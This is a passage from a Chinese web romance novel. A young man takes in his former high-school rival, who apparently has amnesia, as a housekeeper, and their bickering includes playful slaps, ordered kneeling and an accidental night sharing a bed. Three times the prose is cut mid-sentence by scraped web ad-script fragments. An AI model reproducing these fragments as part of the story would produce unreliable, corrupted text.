“这么看我干什么?”裴砚初笑了下,“以前不熟,但现在我们重新认识了,不能加一个好友吗?” 闻祈没说什么,长睫低垂,抬起手腕,对准二维码,扫了。 滴的一声。 闻祈点击了申请添加好友。 裴砚初收回自己的手机,唇角挂着一种夙愿达成、心满意足的浅笑,语气轻松:“行了,转钱就不用了。虽然我的卡都被冻结了,但是千儿八百还是有的。” 他道:“不然你包吃包住,还打算给我钱,对我这么好,不会是打着找佣人的旗号包养我当小情人吧?先说好啊,包养是另外的价钱。” 闻祈明知道裴砚初那张狗嘴里吐不出象牙,还是忍不住好奇地问:“什么价钱?” 裴家昔日风光无限的大少爷自甘堕落,主动开价,会要求多少? 裴砚初微微眯眼,唇角勾着弧度,道:“是你的话,我倒贴。” 闻祈面无表情道:“放心好了,你倒贴我也不要。” 裴砚初问:“你有男朋友了?” “没有……”闻祈下意识答,又察觉不对,“为什么问我有没有男朋友?” 凭什么就假定他性取向是男? 裴砚初轻笑着:“你吃饭就吃这么点,还能有力气……伺候别人?” 言下之意。 只能在床上舒舒服服地躺着被别人伺候。 闻祈的胸口起伏几下,神色平静,道:“过来。” 裴砚初走到他面前。 闻祈道:“蹲下来。” 裴砚初神色纠结一下,觉得蹲下来的姿势很像小狗,自己换成了半跪,抬头问:“怎么了?” 他以下位者的姿势仰望着闻祈,神色无辜又疑惑。 似是半点没察觉自己刚才的话有多冒犯。 “啪!——” 清脆的巴掌声响起,裴砚初被打到偏过头去,侧脸很快浮起一层淡红。 闻祈冷笑:“我是没什么力气,但打你的力气还是有的。” 他居高临下地等着裴砚初暴怒的反应。 不管面前这个人有没有失忆,被打了一巴掌,总该知道疼,知道受到了折辱。 没有失去记忆,清醒地被他扇巴掌那是更好。 说不定会气急败坏地和他对峙,暴露装失忆的破绽。 裴砚初慢慢地转回视线,从颈项、脸颊到耳尖,逐渐蔓延上一层耀目的绯红,薄唇轻动。 却问:“手疼吗?” 闻祈:? 裴砚初伸手摸了摸自己的脸。 刚闻祈下手时没留一点余力,被打过的脸侧好似留着烙印,彰显着极强的存在感。 热乎乎、麻酥酥的,叫他脊背都升起一股格外爽的电流,浑身涌起一阵燥热。 ——闻祈摸他的脸了。 这个认知让裴砚初几乎飘飘然起来,呼吸也微微急促。 “你解气了吗?”裴砚初如沐春风,主动发问,“要不再打几巴掌?” “你!”闻祈磕巴起来,“你怎么……” 他都用这样的惩 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 罚羞辱人了,裴砚初怎么一点反应都没有? 闻祈不可置信:“你不觉得痛吗?” 他的掌心都火辣辣的,为什么裴砚初像一点事都没有? 裴砚初很诚恳地道:“小祈,你力气太小了,打着不痛,要不你明天多吃两碗饭再来打我?” 闻祈的脸色更冷,咬着牙道:“闭嘴,去、洗、碗。” “好吧。” 见惩罚结束,裴砚初遗憾地站起身,将餐桌上的餐盘收拾进厨房。 厨房里洗碗机,但裴砚初是第一次自己用,研究了一会儿才捣鼓完毕。 再出来的时候,闻祈坐在客厅里,神情恢复到了往日的平淡,懒懒散散地逗着元宝玩。 公寓的客厅只放有沙发和投影音响设备,木地板锃亮而宽敞。 闻祈随手扔一个小球出去,小狗嗷嗷叫着,兴奋地如离弦之箭冲过去,叼着球,摇着尾巴回来讨赏。 “乖元宝。” 闻祈夸了句,递了一颗小冻干,小狗乖巧地舔过他的纤细指尖。 裴砚初的脚步一顿,视线幽暗地盯着小狗。 小狗感觉某种威胁性的目光,歪头看来,黑玻璃眼珠透着无辜:“嗷呜?” 闻祈跟着动静望来,见他出来了,懒洋洋地喊了句:“裴砚初,过来。” 裴砚初立刻过去,扑通一声半跪在沙发前,自觉之中,隐约透出一点期待。 闻祈哽住:“……起来。” 裴砚初又站起来。 闻祈淡声道:“我给你发了一份文档,你看一下。” 裴砚初拿出手机,点开了闻祈发给他的文档,惋惜地发现都是一些正经内容。 要求明确,陈列清晰。 公寓里打扫的次数,需要注意的边角地方,床单被套更换的频率…… 关于小狗的内容更是一页又一页,事无巨细,小狗的餐食甚至一周七天早晚两顿都列了配比。 闻祈道:“有什么看不懂的可以问我。” 裴砚初道:“看完了,没什么看不懂的。” 闻祈怀疑:“这么快就看完了?” 裴砚初更是诧异:“你这要求写得挺清楚的啊,每天交代的明明白白,不就是照着做?” 闻祈点头道:“行,那你说,元宝明天早上吃什么?” 裴砚初道:“一罐主食,西蓝花、紫衣甘蓝和苦菊过水,放破壁机里打碎,水果是苹果片和莓果冻干,加酸奶藏鱼油,撒姜黄粉绿唇贻贝粉,零食吃火鸡脖子磨牙。” 他一口气说完,又带着不解道:“就这些,你还把克数都标上去了,傻瓜式教程,有什么看不懂的?” 闻祈的心情好了几分。 大学毕业后,他住进这间公寓里,一年多的时间聘请过几任男性保姆了,都被他给辞退了。 不是嚷着他给的小狗食谱复杂,看不懂,就是反过来劝他,小狗就是个畜生,随便吃点就行,不用养这么精细。 闻祈道:“能看懂就好。” 裴砚初问:“要是我这个佣人做得你满意,你会给我奖励吗?” 闻祈怔愣:“你还要奖励?” “那当然了。”裴砚初理直气壮,“元宝把球捡回来,你都给他奖励了,我当然也要!” 闻祈低头看了看自己手上还捏着的一颗冻干,小狗正摇着尾巴扒他的裤腿,急得团团转。 神色不禁变得古怪起来。 裴砚初他……总不能是馋他手上的这颗冻干吧? 和小狗抢吃的,是不是太不要脸了。 5. 男模 闻祈不知道他打的什么算盘:“你想要什么奖励?” 裴砚初厚颜无耻道:“我还没想好,先欠着。” “你还在试用期,别想奖励了。”闻祈嗤笑,随手将手中最后一颗冻干粒喂给元宝,“要是做的不好,我这儿不养闲人,直接把你扫地出门。” 裴砚初低头看了眼小白狗,有些忿忿。 这不是养的有闲狗吗? 多他一个怎么了? 闻祈不想和他继续掰扯,抽了张湿巾,动作慢条斯理的,一根一根地擦着被小狗舔湿的纤长手指,继续开口。 “客卧的被套上一周刚换过,可以直接住,你自己注意着有什么需要添置的东西,这附近有一家商超,明天去买。洗衣机和烘干机会用吗?” 他的语气轻而散漫,带着点随意的调,说完后,却没听见裴砚初的回应。 闻祈掀起长睫,投去困惑的目光,却见裴砚初一瞬也不移地在盯自己的手,有些不满,问:“你听见没有?” 裴砚初如梦初醒,视线飘忽了下,道:“嗯嗯。” “你嗯什么?”闻祈无语,“我问你会不会用洗衣机和……算了,你在阳台上等我。” 就不能指望这大少爷会做什么事。 闻祈回了卧房的浴室,抱着脏衣篓出来,里面是几件刚换下来的衣服。 裴砚初已经站在了阳台上,正试着灯座,听到脚步声从后响起,问:“阳台这灯怎么不亮?” “坏了。”闻祈言简意赅。 裴砚初问:“不修吗?” 阳台的顶灯坏了已经小半年了,公寓朝阳,白天不用开灯,晚上客厅的灯光照在阳台上,不怎么亮,但也够用。 “懒得管,就这样。” 闻祈不想解释,道:“过来,我给你说怎么用洗衣机和烘干机。等会儿我带元宝出门散步,等时间到了,你帮我把洗好的衣服放烘干机里去。” 裴砚初嗯一声,过来了,和闻祈靠在一起。 站得有些近,几乎压在闻祈的安全社交距离的边缘线上。 闻祈微微蹙起眉尖,没说什么,忽视掉隐约的一点不适,淡声指了洗衣液、留香珠和柔顺剂的位置,又说机器上面的按键。 家用电器的操作简单明了,裴砚初很快就点头,说知道了。 “行,那你自己待着吧,我带元宝出去转一圈。” 闻祈找出遛狗用的绳,小狗立刻意识到可以出门玩了,嗷嗷地狂摇尾巴冲来,在他身边转来转去。 闻祈蹲下身,神色浮起几许温柔,捉着小狗的爪带上牵引绳,准备带它出门。 裴砚初亦步亦趋送他们到玄关,问:“晚上风大,你要不要带件外套出门?” 闻祈感觉裴砚初这做派像殷殷切切送老公和孩子出门的小媳妇。 但谁家的小媳妇长这么高个,站过来压迫感十足? “你别站我这么近。”闻祈忍不住道,“你到底有多高?” 裴砚初往后退两步,像一只无意吓到人,被主人训斥的巨型犬,神色带着点委屈,道:“就189。” 就189? 怎么比高中时还蹿了一截? 闻祈眼不见心不烦地移开视线,道:“……不用拿外套,我走了。” 裴砚初道:“好。” 闻祈带着元宝出了门。 傍晚时分,微风习习,附近的小公园没什么人。 闻祈带着元宝慢悠悠地晃了一圈,思绪飘浮。 放裴砚初一个人在公寓里,总有一种狗狗会趁自己不在,上蹿下跳拆家的担心感…… 他带着元宝比平时更早地回了家,打开公寓门,却见一片黑暗,唯一的光源来自阳台上。 裴砚初赤裸着上.身,只穿一条深灰色长裤站在凳子上,咬着个手电筒,手里拿着把十字螺丝刀,在换阳台上的顶灯。 落地窗外是城市的万千灯火,影影绰绰的光落在他身上。 裴砚初听到开门的动静,转头看来,叼着的手电筒像星星一样闪了闪。 “回来了?”裴砚初词句含糊,带着笑意,“等我两分钟。” 闻祈没说话,摸着黑,先给小狗解开了牵引绳。 裴砚初很快将阳台上的顶灯换好,利落地跳下凳子,来到玄关处,打开总闸。 叮叮滴滴的几道机器启动音交错响起,公寓猛地亮起了灯,光线如白日般通明。 闻祈下意识眯了眯眼。 裴砚初又回到阳台上。 吧嗒一声,灯座按下,阳台上投落一片炽亮的光。 “行,换好了。” 裴砚初一副邀功的得意模样去看闻祈,撞进他带着探究的视线里。 闻祈慢慢地走过来,问:“你会换灯?” “下厨我都能学会,换个灯有什么难的。”裴砚初理所当然道,“那网上的教程不都是一抓一大把吗?” “哪来的新灯芯?” “下楼买的,导航步行五百米就有个五金店,店老板还挺热情,听我说住附近还加了个微信,说需要什么下次可以送货上门。” 闻祈抿了唇,又问:“你怎么不穿衣服?” 裴砚初道:“你那白色卫衣太干净了,阳台这灯起码半年没擦过了吧?我看那上面都是灰,怕取下来的时候把你衣服给弄脏了。” 阳台顶灯换了雪白的灯罩,被换下来的圆形灯罩放在地面上,落满了灰,看不清原本的颜色。 裴砚初捡起旧灯罩,塞进盒子一并扔进客厅的垃圾桶里,回去借阳台上的水龙头洗了手,将放在一旁的卫衣套回身上,把凳子拎回餐厅里。 闻祈一直没说话,视线跟着他转,等他过来了,才缓慢开口:“脸上有灰。” “是吗?” 裴砚初伸手擦了把,却没擦对地方。 闻祈道:“反了,在右脸。” 裴砚初却没依言擦脸,微微俯身低头,没脸没皮笑着道:“我换了灯,是不是该给我奖励?就用你给我擦脸当奖励吧。” 闻祈没动:“我又没让你换灯。” “换都换了,总不能拆下来还给店老板吧?”裴砚初道,“再说了,家里哪里都亮堂堂的,多好。” 家里这个词,叫闻祈的指尖轻微地蜷了下。 裴砚初又道:“厨房的水龙头也该换了,转得怪别扭,可惜那五金店没有一样的型号,我在网上买了,等过两天配套的型号到了再换。哦对了,灯芯三十五,水龙头七十二块八,报销。” 报销? 闻祈觉得稀奇:“晚饭的时候你不是让我不用转钱吗?” “晚饭你是让我再点吃的,那当然不一样了。”裴砚初振振有词,“阳台上的灯、厨房里的水龙头是我们过日子用的,不能我自己付钱。” 闻祈道:“……什么过日子,你别说的这么奇怪。” “是是是。”裴砚初笑道,“所以给报销吗?” 闻祈退让:“收款二维码给我。” 裴砚初不给:“我要红包。” 报销这么点钱,要求还挺多。 闻祈无意和他争这些小事,打开发红包的页面,裴砚初在旁提醒:“一百零七块八。” 有零有整。 闻祈给他发过去了。 裴砚初喜滋滋地点开收下,又问:“我的奖励呢?” “你是脑子撞坏了,又不是手断了,自己擦。”闻祈冷漠无情,“看不见就撒泡尿当镜子照照。” 裴砚初轻嘶一声。 闻祈蹙眉:“怎么?” “你说你吧,这么——”裴砚初把某个形容词给咽下,“一张脸,说这种粗俗的话,还挺……” 闻祈接话:“刺耳?” 裴砚初笑了笑:“挺带感。好听爱听,多骂几句。” “……你是真有病。”闻祈道,“我回房间了,有事也别找我,微信发消息。” 裴砚初应:“好。” 闻祈回了卧房,门一锁,回到独处的空间,精神放松下来。 他换了身睡衣,再度拿起手机,群里消息果然又是99+,关心两人有没有打起来。 闻祈:【没打架。】 闻祈:【都成年人了,不至于像高中生那样打起来。】 虽然有好几次,他确实想一拳打在裴砚初那张欠扁的脸上。 群里热热闹闹的,闻祈回了几句,有些累了,刚准备放下手机,一个陌生的头像发来消息。 是刚加上不久的裴砚初,发了一个看不出来什么意义的表情包。 闻祈莫名其妙,回了一个问号。 裴砚初:【你说句话,我确定一下有没有加错人。】 当面扫码加的好友,还能加错人? 闻祈:【没事干就去倒倒脑子里的水。】 裴砚初:【嗯,没加错。】 他看起来心情颇好,又发:【你是不是要睡了?好梦。】 裴砚初那张嘴还能说出这么平和的话? 闻祈礼貌性地回了句:【你刚出院,也早点休息,晚安。】 他等了会儿,见裴砚初没回复,正要退出来,对话页面却弹出一张截图。 浏览器搜索页面:【晚安是不是等于我爱你?】 AI回答:【您好,晚安的含义并不总是“我爱你”。以下是一些可能的解释:1.对话结束时的礼貌用语……】 闻祈:? 截图一秒撤回。 裴砚初:【手误,发错了。】 裴砚初:【你没看见吧?】 闻祈硬生生给气笑了。 就因为他回了一句晚安,裴砚初去搜晚安是不是等于我爱你? 闻祈:【你别告诉我你还在怀疑我暗恋你。】 裴砚初见他看到截图了,半点不尴尬,反过来劝人:【暗恋我就大方承认,不丢脸。我这么优秀的人,又高又帅,有钱又有人气,我理解的。】 闻祈深吸一口气。 喜欢裴砚初丢不丢脸他不知道,他只知道裴砚初挺不要脸的。 闻祈没什么表情,指尖噼里啪啦地按屏幕上打字。 【再高再帅,你背着那些债务,谁敢来喜欢你?】 【不如趁着年龄没上去,你那张脸还能看,进会所挂牌当男模,说不定有富婆看上你了,愿意帮你赎身还钱。】 【看在高中同学的份上,我给你预订一个香槟塔,给你捧捧场怎么样?】< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>闻祈一口气发过去,没见对方有回应。 难道是他说太狠了?…… 闻祈有些后悔。 裴砚初出车祸醒来就在医院里,众叛亲离,没人照顾,还背着一堆商业纠纷的债务,可以说是走投无路…… 对话框弹出新的句子。 裴砚初很是欣喜:【你觉得我又高又帅,可以去当男模?有眼光。】 语气又一转:【你说的是有道理,不过你都花二万五把我包下来了,我还是先把你这个金主伺候好,攒点经验,不然以后遇到富婆也不会伺候人,浪费机会就不好了。】 谁包养他了? 闻祈揉揉眉心,反思自己为什么浪费时间和裴砚初较劲。 裴砚初:【等等,不过你怎么知道在会所里要开香槟塔的?你开过?】 闻祈不打算回复了。 裴砚初这人真的像狗,精力无穷无尽,不想理,就绝对不能多给半个眼神,不然会被缠到烦。 元宝都比他懂事。 裴砚初还在孜孜不倦地发消息。 【你不会真的点过会所男模吧?是单纯喝酒吗?】 【长得怎么样,有我帅吗?】 【我去问了朋友,香槟塔都是五位数起步,真的假的?】 【哈哈我也不是很在意就是随便问问,提前打探一下行情[墨镜]】 【人呢?】 【闻祈?】 【小祈?】 【闻校花??】 【这就睡了??】 闻祈把手机放床头柜上,手机嗡嗡震动,快自个儿给震下去了。 闻祈又把手机拿回来,调成免打扰。 世界清净了。 他翘着唇角,拿起枕边的一本书,悠闲地翻看。 卧房外有脚步声响起,像焦躁的狗狗转了圈,又不甘地回去了。 闻祈眸底的笑意更深。 来回折腾,甚至今天一天比一个月说的话都多,疲惫之下,身体里的困意如潮水般涌来。 闻祈合上书籍,沾上枕头,久违地很快睡着了。 他梦到了学校的场景。 明净窗外的百年银杏染金,簌簌闪光。 两人看起来狼狈不堪,沾着草根和泥土,教导主任气急败坏地呵斥他们在办公室里罚站反省,匆匆离去。 办公室里有其他几个年轻的实习老师交头接耳:“今天是不是裴家那位开学?” “听说校长带着人亲自去门口等着了,一直没到呢。” “分到哪个班啊?” 他们窃窃私语着,两个少年并排站在墙角。 身边的少年留着狼尾,眉目青涩,带着几分桀骜不驯,手背揉了下青紫的嘴角,看向他,半开玩笑地道:“你下手还挺重啊。” 他没说话。 少年嘟哝:“夸你漂亮要生气,问个名字也要生气……真难伺候。” 他冷冷地看过去:“是你先抓着我,我不说名字,你就不让我走。” 少年根本没觉得自己有什么错:“对啊,你告诉我不就行了?” 说不通。 他转回头,心烦意乱地继续罚站,身形挺直。 少年东张西望,站得无聊,又看向他,递来手机。 上面是vx二维码。 “我们也算认识了吧,加个好友?” “不加。” “为什么?” 少年像从来没被人拒绝过,大受打击。 他反问:“我们又不熟,为什么要加联系方式?” “你刚不是被我按在地上了吗?万一磕着哪儿碰着哪儿,找我要医药费啊。不过话说回来,你真的是男的吗?腰真细啊,我一手就揽得过来……” 记忆翻涌而上。 小路上的他被攥着手腕不让走,忍无可忍,一拳打了过去,少年猝不及防,身形后倾,拉着他一起跌入草丛中。 两个血气方刚的少年肢体缠打在一起,压在东歪西倒的草坪里,世界在混乱的风声中颠倒。 裴砚初比他高大半个头,很快将他给压制住,扭着他的手臂按在柔软的泥土上,忽然伏了身,鼻尖埋在他的后颈嗅了口,呼吸凌乱,诧异地问:“你怎么这么香?喷香水了?” 现在又在这儿,质疑他不是男的。 旧仇新仇叠在一起,他注视着面前的少年,冷笑了下。 办公室里,其他几个老师纷纷望来视线,错愕惊呼:“怎么又打起来了?” “别打了!再打扣纪律分了,你们哪个班的!——” 一片黑暗中,闻祈猛地睁开了眼,呼吸急促,胸口起起伏伏,气闷又羞恼,不减当年的分毫。 他按亮了灯,下了床,拖鞋也没穿,直接出了卧室,站在客卧的门口。 门把按下,顺利无阻。 没锁。 啪哒一声,客卧的灯光大亮。 裴砚初被突然而来的光线惊醒。 男人黑发凌乱,坐起身,眉眼比梦中更显得深邃成熟。 他的嗓音低沉沙哑,神色疑惑,问:“怎么了?” 闻祈冷着脸,抱着手臂:“滚下来。” 又道:“跪着。” 6. 共床 半夜三点,深夜寂静,欧式风格的客卧灯光明亮,地面铺着厚实的羊毛地毯。 裴砚初跪在地毯上,上半身挺直,手掌照闻祈的要求背在身后,两腿微微分开,深灰色的长裤被结实的大腿绷紧线条。 “所以是……”裴砚初思索着,“你做了一个和我有关的噩梦,对我很生气?” 闻祈侧坐在床边,抱着手臂,轻嗯一声。 他冷着脸,纤长的黑睫似蝶翼垂落,眼尾蕴着淡粉,鼻尖挺直,唇珠饱满,姣好的唇轻抿成一条线,面容秾艳瑰丽得似春日桃花,神色却透着疏离,气质如雪。 反差感极强,让人心神晃动。 闻祈直接从被窝里出来,穿着一件单薄的丝质睡衣,V领露出一片雪白平直的锁骨,腰身纤细,浑圆的臀半压在床沿,修长的两腿交叠垂落,足尖白得晃眼。 闻祈咬着牙:“我被你吵醒,你也别想睡。” 这话说的不讲理,裴砚初却笑起来:“好,我陪你。” 闻祈拧眉:“陪我?” 裴砚初立刻改口:“我赔罪。我跪多久你能消气,我就跪多久。” 他一副坦然接受的样子,叫闻祈像一拳打在棉花上,愈发恼怒:“裴砚初,我让你跪你就跪,你有没有一点自尊心?” 裴砚初叹气:“我要是不肯跪,你肯定要生气,我现在听你的话跪了,你怎么还是在生气?” ——怎么这么难哄。 这句话到了裴砚初的唇边,又咽了下去。 裴砚初和他打商量:“小祈,你能不能直接说,我做什么你才消气。” “不知道。”闻祈心烦意乱,“你先跪着吧。” 裴砚初听话地不再说话,视线控制不住地往下落去。 闻祈坐在床边,因为坐姿,睡裤的裤腿往上收拢几分,露出一截纤细伶仃的脚踝,而后是赤.裸的足。 那双足掌纤瘦单薄,如通透的羊脂玉般雕就的艺术品般精致,在光下流转着温润细腻的光芒,脚趾似白贝圆润,透着薄薄的粉。 他没穿拖鞋过来,索性就这么直接踩在裴砚初的膝头上,落在深灰色的裤子上,衬得肌肤更白,形成强烈的视觉冲击。 触感柔软而温热,叫裴砚初的喉结禁不住滑动了下,赶在某种变化之前,硬生生地移开了目光。 裴砚初老老实实地低头跪着,闻祈胸口闷堵的火气消散了些,稍微用了点力,踩了下裴砚初的膝盖,问:“在想什么?” 裴砚初毫无防备被他一踩,像是受了什么刺激,身体震颤,又迅速恢复到若有其事的模样,眼眸半垂,低声道:“没想什么。” 有一股赤红却沿着他的脖项往上蔓延,呼吸好似也变得有些急促。 刚装得什么事都没有,这么跪着,果然还是觉得受到羞辱了吧? 闻祈满意了些,又道:“抬头,看我。” 裴砚初慢慢地抬起了头,注视着他。 闻祈微微笑起来,问:“我这么对你,你会想走吗?” “不会。”裴砚初道,“你在医院也看到了,我连住院款都交不起,有几个朋友发消息问我出车祸的事,我找他们借钱,他们就不回我了。除了你收留我,我无处可去。” 他跪在地毯上,仰望着闻祈,以一种臣服而恭顺的态度,语气委曲求全:“只要你肯收留我,对我做什么都可以。” 闻祈被取悦到了,从鼻尖里轻轻哼笑。 裴砚初,对他也会有低头的一天? 秋日夜凉,但又没到开空调开暖气的地步,闻祈只穿了单薄的睡衣,就这会儿功夫,已经感觉到冷了。 闻祈畏寒,雪白的足尖一探,挑开裴砚初的卫衣衣角,玉石般透着冷的足底直接踩到了他的腹肌上。 贴上的一瞬间,闻祈清晰地感知到底下的身体如弦绷紧,坚实的腹肌线条明显。 裴砚初劲窄的腰身猛地弓了起来,背在身后的手掌握成了拳,脸颊漫上一片赤色,呼吸也粗重起来。 闻祈的嗓音懒散:“腰挺直,跪好。带你回来的时候,你不是主动要跪吗?现在让你跪个够。” 裴砚初闭了闭眼,像忍受着什么极致的羞辱,神色隐忍,半弓的劲瘦腰腹一寸一寸地重新挺直。 “裴砚初。”闻祈饶有兴致道,“你最好是真的失忆了。” 他微微俯身,伸出手指,掐住了裴砚初的下颌,目光嘲弄,语气透着愉悦:“我骗了你一件事——我们以前不是不熟,是关系很差。现在你落在我的手里,你猜,我会不会一件一件报复回来?” 裴砚初神色镇定,问:“我恢复记忆了,你就不会报复回来了吗?” “会。”闻祈道:“我只会报复得更狠。。” 裴砚初笑了下,问:“现在想让我做什么?” 闻祈道:“你就这么跪着吧,等什么时候把我的脚捂暖和了,什么时候再起来。” 他体质虚寒,秋冬时节手脚冰冷,过了大半夜都依旧捂不热。 反观裴砚初,被他赶下床这么久,身体倒像个小火炉,源源不断地传递着烫灼的热意。 既然如此,那就给他先当一个暖脚的烤炉。 裴砚初沉默一瞬,却伸了手,握住了他的脚。 闻祈下意识想挣脱,问:“干什么?” 玉白纤薄的足掌被牢牢地桎梏在宽大炽热的手掌之间,逃不开分毫。 “帮你暖脚。”裴砚初不见丝毫被羞辱的难堪,神色认真,“你睡衣太薄了,冷不冷?要不把被子给盖上,别着凉了。” 闻祈蹙着眉尖。 裴砚初的手掌确实是比身体更热,毫无间隙地合拢包裹,烫得足尖也暖呼呼的。 闻祈没说什么,往后一靠,倚在床头,伸手将被子拉了过来,盖住自己,不忘监工:“继续。” 裴砚初轻嗯一声,手掌捂着闻祈的脚,规规矩矩的,没有多余的动作,兢兢业业地担任着给他暖脚的职责。 在这片安静中,闻祈渐渐放松下来。 他半夜惊醒,过来发了通脾气,情绪消耗一空,现在松懈下来,终于感觉到了几分累,睡意重新上涌。 闻祈浓密的长睫一颤一颤,似脆弱的蝶翼轻轻扑扇,而后挣扎不过强烈的困意,彻底阖上。 迷迷糊糊间,闻祈仿佛察觉有人靠近,腰身被揽抱了过来,身形一轻,而后躺进柔软如云的被子里。 熟悉的声线,含着很轻的笑意在耳边响起:“比醒着乖多了……” 闻祈想睁眼醒来,看到底是谁在说话,但睡意却如汹涌的潮水席卷而来,拖拽着他,一同沉入黑暗海底。 窗外夜色寂静,银月转移,光线渐亮,换作熹微晨色。 闻祈迷迷糊糊地转醒,感觉手脚都暖洋洋的。 像躺在了阳春三月的草坪上,温暖的金色阳光大片洒落,晒得身体每一处都泛着烫呼呼的热意,驱逐了骨头缝隙里的阴冷寒气,整个人都变得慵懒且放松。 闻祈慢慢地睁开眼,模糊的视线逐渐定焦,裴砚初沉睡的俊美眉眼印入眼帘。 咚的一下,心脏剧烈地跳动一拍,闻祈彻底清醒了。 裴砚初胸膛光.裸热烫,似八爪鱼紧紧地缠绕搂抱着他,覆着薄薄肌肉的修长手臂锁着细窄的腰身,占有欲十足,坚实的长腿毫不客气地横跨在他的腿上。 身体贴着身体,传递着几乎一致的热度。 太近了。 这是闻祈唯一的念头。 他思维混沌,似凝固的浆糊般运转不动,想不通怎么会是这个情形,浑身僵硬地靠在裴砚初平缓起伏的宽阔胸膛上,甚至能清晰地听到底下传来的勃勃心跳声。 砰。 砰、砰。 沉稳有力,彰显着难以忽视的存在感。 裴砚初睡得很沉,抱着他,微微低头,灼热的呼吸以平稳的频率一下一下地吹拂在他的耳侧、颈间,掀起一片酥麻。 闻祈头皮发麻,看了眼周围——还在客卧。 他深吸了口气,将自己回抱着裴砚初的手臂缓慢地收了回来,想挣脱出这个过分炽热的怀抱。 裴砚初的身体却像是滚烫沉重的巨石,怎么也推不动,反倒像不满他的抗拒,桎梏在他腰间的手臂又蛮横地锁紧了几分。 闻祈折腾得额角出了薄汗,也没把自己解救出来,反倒像被水草缠住的旅人,越是挣扎,越是被缠得更紧。 他打消了在裴砚初醒来前回自己房间的念头,推着面前的男人,语气凶狠:“裴砚初!” 裴砚初像是睡懵了,将整张脸埋在他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的颈窝蹭了蹭,沙哑的声线浸着浓重的倦意,道:“还早……小祈,再睡会儿……” 挺直的鼻梁蹭过敏感的肌肤,滚烫的气息随着含糊的话语似一阵风吹拂而过,带着亲昵。 闻祈大脑空白,热气直冲脸上,忍无可忍,而后再也克制不住—— “啪!” 五分钟后,裴砚初顶着半边鲜红的巴掌印,恭恭敬敬地跪在床上。 闻祈冷声问:“清醒了吗?” 裴砚初诚恳点头:“清醒了。” 他的上半身暴露在空气里,闻祈忍不住问:“你的衣服呢?” 裴砚初解释:“睡觉的时候你一直把手往我的衣服里伸,为了方便你摸我,我就给脱了。” 闻祈握紧了拳:“你再说一遍?” 裴砚初立刻改口:“是我的问题,太热了,我睡到一半就自己脱了。” 闻祈的额角直跳,勉强冷静下来,问:“你为什么会和我睡一起?” 裴砚初道:“你只说了让我帮你暖脚,没说不能一起睡啊,昨天都那么晚了……” 他神色无辜:“我以为你愿意的,昨晚睡着睡着,你还主动往我怀里钻——” 闻祈盯着他,实在想骂人,胸口起伏几下,最后恶狠狠地道:“闭嘴,不准再提这事。” “好,不提了。” 裴砚初又试探性地问:“你消气了吗,我还要继续跪吗?” 闻祈咬牙切齿道:“起来,去给元宝做饭。” 一个上午,裴砚初被闻祈支使得团团转,忙得不带停。 早餐要做,地板要擦,咖啡热了不行冷了不行,必须倒了重泡,烘干机里的衣服每一件都得叠的整整齐齐,才能放进衣柜里。 等到了闻祈往日出门遛元宝的点,裴砚初一个人在公寓里,也被交代了擦玻璃的任务,不得空闲。 等闻祈带着小狗回家的时候,整个公寓焕然一新,到处都锃光瓦亮。 裴砚初穿着一条粉色草莓围裙,卫衣的袖口挽高,露出一截小麦色的结实小臂。 他手拿抹布,以邀功的语气主动道:“玻璃都擦了,桌子柜子也都擦了。小祈,你看看还有什么需要我做的。” 闻祈问:“什么时候家里有这条围裙了?” “厨房里的围裙被你以前的男保姆穿过,我不想穿,正好需要买玻璃清洁剂,我就在x团上面顺便买了新的。”裴砚初道,“我用了券,一共五十二块九,零头就不用了,红包发我52就行。” 闻祈打开手机的wx界面,点开红包输入数字,正想发过去,指尖一顿,掀起长睫,看裴砚初一眼。 裴砚初一脸纯良:“怎么了?” 闻祈把省掉的零头重新添了上去,淡声道:“不用抹零。是多少,就报销多少。” 裴砚初遗憾道:“好吧。我还想着昨晚一起睡了一觉,我们的关系拉近了,给你一点折扣……” “谁和你关系拉近了?” 闻祈皱眉,不想提昨晚的事,生硬地转了话题:“中午出去吃,下午带你出去买东西。你别用我的那款沐浴露了,和你一点都不搭,自己选新的。” 柚子味的沐浴露,香气淡而清甜,到了裴砚初的身上,总有种狼崽子批羊皮的格格不入冲突感。 “是吗?”裴砚初扯起卫衣领口闻了闻自己,语气诧异,“和你身上味道一样,我还觉得挺好闻的。” 闻祈面无表情地望着他。 “换!”裴砚初从善如流,“你指东我绝对不敢往西!” 闻祈冷笑一声:“是吗?我看你挺敢的。” 裴砚初的表情和旁边端坐的小狗一样乖巧,道:“怎么会,我当然听你的话了。” 闻祈抿了抿唇,突然问:“膝盖……疼吗?” 他昨晚睡过去了,不知道裴砚初到底跪了多久。 就算有地毯,但时间长了…… 裴砚初愣了下,闷闷地笑了起来,问:“不是要报复我吗,怎么还担心我会不会疼?” “谁心疼你了?”闻祈耳根发红,“我是怕你受伤了,没人做家务。” 裴砚初却还是在笑,好不容易赶在闻祈又要生气前,终于止住。 他道:“疼。下次我犯了错,罚我给你暖床吧。” 7. 包养 闻祈一阵无言,只觉得裴砚初真是撞坏脑子了。 裴家大少爷,巴巴地上赶着给人暖床,像个旧世纪里的爬床小丫鬟。 闻祈遏制住奇怪的联想,移开视线,道:“走了,出门。” 两人到了玄关,闻祈打开手机,准备预先打网约车。 玄关处柜子上的鎏金托盘里放着把车钥匙,裴砚初扫了一眼,问:“你这不是有车钥匙吗,怎么不开?” 闻祈没抬头,按着手机回:“公司配的车,我不会开车。” 裴砚初抽了他的手机,点了取消用车,笑道:“那别打车了,我开。” 闻祈面露疑惑:“你不是说自己失忆了吗?” “失忆了也不影响,开车属于生活基本技能,我手机里有电子驾照,那肯定会开车。” 裴砚初将手机还给他,语气笃定:“就像学会游泳就有了肌肉记忆,进了水里就自动触发。” 闻祈打量着他,视线耐人寻味。 裴砚初被看得莫名:“怎么了?” “没什么。”闻祈道,“也就是想起高中时上游泳课,我上完课回去换衣服,发现柜子里的校服被人换成了女生穿的校裙。” 裴砚初愣住:“还有这种事?那怎么办?” “我给老师说了,老师帮我去学校超市买了一套新校服。” 裴砚初松口气,凌厉的眉宇又皱起来,追问:“那你知道谁干的吗?” 闻祈很平静地道:“你。” 